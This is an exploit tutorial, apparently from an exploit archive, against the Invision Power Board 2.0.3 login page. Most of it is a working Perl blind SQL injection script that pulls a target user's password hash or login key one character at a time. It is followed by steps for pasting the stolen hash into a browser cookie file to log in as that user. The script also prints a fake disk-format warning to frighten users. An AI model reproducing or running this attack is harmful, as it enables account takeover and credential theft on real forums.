Invision Power Board <= 2.0.3 Login.PHP SQL Injection (tutorial)

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Invision Power Board <= 2.0.3 Login.PHP SQL Injection (tutorial)
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# danica jones <[email protected]>

Tutorial for the recent exploit released by Petey Beege.

1. Get the exploit :



#!/usr/bin/perl -w
##################################################################
# This one actually works :) Just paste the outputted cookie into
# your request header using livehttpheaders or something and you
# will probably be logged in as that user. No need to decrypt it!
# Exploit coded by "Tony Little Lately" and "Petey Beege"
##################################################################

use LWP::UserAgent;

   $ua = new LWP::UserAgent;
   $ua->agent("Mosiac 1.0" . $ua->agent);

if (!$ARGV[0]) {$ARGV[0] = '';}
if (!$ARGV[3]) {$ARGV[3] = '';}

my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';
my $user = $ARGV[1];   # userid to jack
my $iver = $ARGV[2];   # version 1 or 2
my $cpre = $ARGV[3];   # cookie prefix
my $dbug = $ARGV[4];   # debug?

if (!$ARGV[2])
{
        print "The type of the file system is NTFS.\n\n";
        print "WARNING, ALL DATA ON NON-REMOVABLE DISK\n";
        print "DRIVE C: WILL BE LOST!\n";
        print "Proceed with Format (Y/N)?\n";
        exit;
}

my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");

my $outputs = '';

for( $i=1; $i < 33; $i++ )
{
        for( $j=0; $j < 16; $j++ )
        {
                my $current = $charset[$j];
            my $sql = ( $iver < 2 ) ?  "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*" :
"99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*";
                my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql);
                my $res = $ua->get($path, @cookie);

                # If we get a valid sql request then this
                # does not appear anywhere in the sources
                $pattern = '<title>(.*)Log In(.*)</title>';

                $_ = $res->content;

                if ($dbug) { print };

                if ( !(/$pattern/) )
                {
                        $outputs .= $current;
                        print "$current\n";
                    last;
                }

        }
  if ( length($outputs) < 1 )   { print "Not Exploitable!\n"; exit;     }
}
print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;
exit;





2. Make sure you have LWP::UserAgent perl module if not do this:
     a. perl -MCPAN -e 'shell'
     b. inside the perl shell, do this 'install LWP::UserAgent'
3. Run the exploit. Get the password hash for the desired login id

ex. inv.pl http://forums.elitesite.com 2 2

Where 2 is the login id and 2 for version 2 of IPB.

4. Open wordpad. Edit Mozilla Firefox's cookie file. Mine is located at

C:\Documents and Settings\the1\Application Data\Mozilla\Firefox\Profiles\vspyhjb9.default\cookies.txt"

Add the following entries:

forums.elitesite.com        FALSE        /        FALSE		1148708747	  member_id        1
forums.elitesite.com        FALSE        /        FALSE		1148708747        pass_hash        ecb735f70028a9cdb819828f4aced78c

Notice the value of member_id and pass_hash taken from the values
generated by the exploit.

5. Fire up Mozilla Firefox and login to http://forums.elitesite.com

Enjoy!




#  0day.today [2018-02-19]  #